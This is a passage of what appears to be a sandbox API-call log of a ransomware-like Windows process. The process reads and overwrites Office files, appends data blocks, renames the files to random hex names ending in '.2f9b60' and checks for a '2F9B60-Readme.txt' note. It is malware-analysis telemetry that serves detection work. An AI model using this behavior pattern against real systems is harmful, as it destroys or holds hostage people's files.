nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x3b45f934, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesWritten=0x3b45f934*=0xcd, lpOverlapped=0x0) returned 1 [0144.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0144.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204ff2b0 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fe590 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0144.631] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.631] WriteFile (in: hFile=0x1eb8, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3b45fa50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3b45fa50*=0x10c, lpOverlapped=0x0) returned 1 [0144.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204feef0 [0144.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0144.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0144.655] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="65") returned 2 [0144.655] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="88") returned 2 [0144.655] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="9c") returned 2 [0144.655] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="f3") returned 2 [0144.655] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="18") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="e2") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="51") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="dc") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="30") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="44") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="8a") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="4d") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="1d") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="68") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="3c") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="aa") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="c4") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="09") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="9f") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="d6") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="8f") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="d3") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="dd") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="d9") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="db") returned 2 [0144.656] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="34") returned 2 [0144.656] RtlInitAnsiString (in: DestinationString=0x3b45fac8, SourceString="65889cf318e251dc30448a4d1d683caac4099fd68fd3ddd9db34" | out: DestinationString="65889cf318e251dc30448a4d1d683caac4099fd68fd3ddd9db34") [0144.656] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b45fa98, SourceString="65889cf318e251dc30448a4d1d683caac4099fd68fd3ddd9db34", AllocateDestinationString=1 | out: DestinationString="65889cf318e251dc30448a4d1d683caac4099fd68fd3ddd9db34") returned 0x0 [0144.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420615b0 [0144.657] RtlFreeAnsiString (AnsiString="6") [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0144.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507af0 [0144.658] wcscat (in: _Dest=0x20507af0, _Source="65889cf318e25" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25" [0144.658] wcscat (in: _Dest=0x20507af0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25.2f9b60" [0144.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25.2f9b60", NtPathName=0x3b45fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\65889cf318e25.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b690 [0144.659] NtSetInformationFile (FileHandle=0x1eb8, IoStatusBlock=0x3b45fb10, FileInformation=0x2050b690, Length=0xa8, FileInformationClass=0xa) [0204.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0204.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057d20) returned 1 [0204.379] NtQueryInformationFile (in: FileHandle=0x1eb8, IoStatusBlock=0x3b45fad8, FileInformation=0x3b45fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b45fad8, FileInformation=0x3b45fae8) returned 0x0 [0204.379] NtSetInformationFile (FileHandle=0x1eb8, IoStatusBlock=0x3b45fad8, FileInformation=0x3b45fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507af0) returned 1 [0209.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0209.446] FlushFileBuffers (hFile=0x1eb8) returned 1 [0209.517] CloseHandle (hObject=0x1eb8) returned 1 [0216.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202afb20 [0216.641] wcscpy (in: _Dest=0x202afb20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0216.641] wcscat (in: _Dest=0x202afb20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0216.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afb20) returned 1 [0216.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af8e0) returned 1 Thread: id = 2176 os_tid = 0x159c [0140.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20 [0140.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK", dwFileAttributes=0x20) returned 1 [0140.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f68 [0144.553] GetFileSizeEx (in: hFile=0x1f68, lpFileSize=0x3ad0f6a0 | out: lpFileSize=0x3ad0f6a0*=114) returned 1 [0144.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0144.554] NtQuerySystemTime (in: CurrentTime=0x3ad0f560 | out: CurrentTime=0x3ad0f560*=132462177497986000) returned 0x0 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x31a0cc09 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x2de3eaab [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x23682d86 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x56f92959 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x6894e322 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x364c1877 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0xe35f196 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x1138a15a [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x4c0095a [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x1cfc149c [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0xbe4b003 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x3fd20d88 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x75d2607f [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x3787af08 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x76290087 [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x2b1a71b [0144.554] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x4b771118 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x20ec6e26 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x1dd322ee [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x71261985 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x7c45c5f7 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x2dd27b11 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x6aeffbbf [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x293f21d8 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x6a10e31d [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x2e376596 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x33b0c2b [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x61e60c44 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x147504dc [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x52a5ff03 [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x53a92fcc [0144.555] RtlRandomEx (in: Seed=0x3ad0f550 | out: Seed=0x3ad0f550) returned 0x43181454 [0144.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0144.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.564] ReadFile (in: hFile=0x1f68, lpBuffer=0x42331d40, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x3ad0f550, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesRead=0x3ad0f550*=0x72, lpOverlapped=0x0) returned 1 [0144.566] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.566] WriteFile (in: hFile=0x1f68, lpBuffer=0x42326910*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x3ad0f554, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesWritten=0x3ad0f554*=0x72, lpOverlapped=0x0) returned 1 [0144.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0144.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0144.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fbf0 [0144.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x166f20 [0144.585] SetFilePointerEx (in: hFile=0x1f68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.585] WriteFile (in: hFile=0x1f68, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3ad0f670, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3ad0f670*=0x110, lpOverlapped=0x0) returned 1 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204ff2e0 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0144.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059ce0 [0144.594] sprintf (in: _Dest=0x42059ce0, _Format="%c%c" | out: _Dest="83") returned 2 [0144.594] sprintf (in: _Dest=0x42059ce2, _Format="%c%c" | out: _Dest="c3") returned 2 [0144.594] sprintf (in: _Dest=0x42059ce4, _Format="%c%c" | out: _Dest="33") returned 2 [0144.594] sprintf (in: _Dest=0x42059ce6, _Format="%c%c" | out: _Dest="7f") returned 2 [0144.594] sprintf (in: _Dest=0x42059ce8, _Format="%c%c" | out: _Dest="bc") returned 2 [0144.594] sprintf (in: _Dest=0x42059cea, _Format="%c%c" | out: _Dest="e2") returned 2 [0144.594] sprintf (in: _Dest=0x42059cec, _Format="%c%c" | out: _Dest="93") returned 2 [0144.594] sprintf (in: _Dest=0x42059cee, _Format="%c%c" | out: _Dest="87") returned 2 [0144.594] sprintf (in: _Dest=0x42059cf0, _Format="%c%c" | out: _Dest="f8") returned 2 [0144.594] sprintf (in: _Dest=0x42059cf2, _Format="%c%c" | out: _Dest="d9") returned 2 [0144.594] sprintf (in: _Dest=0x42059cf4, _Format="%c%c" | out: _Dest="da") returned 2 [0144.594] sprintf (in: _Dest=0x42059cf6, _Format="%c%c" | out: _Dest="47") returned 2 [0144.594] sprintf (in: _Dest=0x42059cf8, _Format="%c%c" | out: _Dest="35") returned 2 [0144.594] sprintf (in: _Dest=0x42059cfa, _Format="%c%c" | out: _Dest="6d") returned 2 [0144.594] sprintf (in: _Dest=0x42059cfc, _Format="%c%c" | out: _Dest="ec") returned 2 [0144.594] sprintf (in: _Dest=0x42059cfe, _Format="%c%c" | out: _Dest="bf") returned 2 [0144.594] sprintf (in: _Dest=0x42059d00, _Format="%c%c" | out: _Dest="06") returned 2 [0144.594] sprintf (in: _Dest=0x42059d02, _Format="%c%c" | out: _Dest="77") returned 2 [0144.594] sprintf (in: _Dest=0x42059d04, _Format="%c%c" | out: _Dest="2c") returned 2 [0144.595] sprintf (in: _Dest=0x42059d06, _Format="%c%c" | out: _Dest="2a") returned 2 [0144.595] sprintf (in: _Dest=0x42059d08, _Format="%c%c" | out: _Dest="23") returned 2 [0144.595] sprintf (in: _Dest=0x42059d0a, _Format="%c%c" | out: _Dest="23") returned 2 [0144.595] sprintf (in: _Dest=0x42059d0c, _Format="%c%c" | out: _Dest="6c") returned 2 [0144.595] sprintf (in: _Dest=0x42059d0e, _Format="%c%c" | out: _Dest="0f") returned 2 [0144.595] sprintf (in: _Dest=0x42059d10, _Format="%c%c" | out: _Dest="e6") returned 2 [0144.595] sprintf (in: _Dest=0x42059d12, _Format="%c%c" | out: _Dest="5b") returned 2 [0144.595] sprintf (in: _Dest=0x42059d14, _Format="%c%c" | out: _Dest="b1") returned 2 [0144.595] sprintf (in: _Dest=0x42059d16, _Format="%c%c" | out: _Dest="fd") returned 2 [0144.595] sprintf (in: _Dest=0x42059d18, _Format="%c%c" | out: _Dest="85") returned 2 [0144.595] sprintf (in: _Dest=0x42059d1a, _Format="%c%c" | out: _Dest="19") returned 2 [0144.595] RtlInitAnsiString (in: DestinationString=0x3ad0f6e8, SourceString="83c3337fbce29387f8d9da47356decbf06772c2a23236c0fe65bb1fd8519" | out: DestinationString="83c3337fbce29387f8d9da47356decbf06772c2a23236c0fe65bb1fd8519") [0144.595] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ad0f6b8, SourceString="83c3337fbce29387f8d9da47356decbf06772c2a23236c0fe65bb1fd8519", AllocateDestinationString=1 | out: DestinationString="83c3337fbce29387f8d9da47356decbf06772c2a23236c0fe65bb1fd8519") returned 0x0 [0144.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aefe0 [0144.595] RtlFreeAnsiString (AnsiString="8") [0144.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0144.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507a50 [0144.598] wcscat (in: _Dest=0x20507a50, _Source="83c3337fbce2938" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938" [0144.598] wcscat (in: _Dest=0x20507a50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938.2f9b60" [0144.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938.2f9b60", NtPathName=0x3ad0f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\83c3337fbce2938.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22b60 [0144.598] NtSetInformationFile (FileHandle=0x1f68, IoStatusBlock=0x3ad0f730, FileInformation=0x1ce22b60, Length=0xac, FileInformationClass=0xa) [0192.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22b60) returned 1 [0192.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291f50) returned 1 [0192.488] NtQueryInformationFile (in: FileHandle=0x1f68, IoStatusBlock=0x3ad0f6f8, FileInformation=0x3ad0f708, Length=0x28, FileInformationClass=0x4 | out: 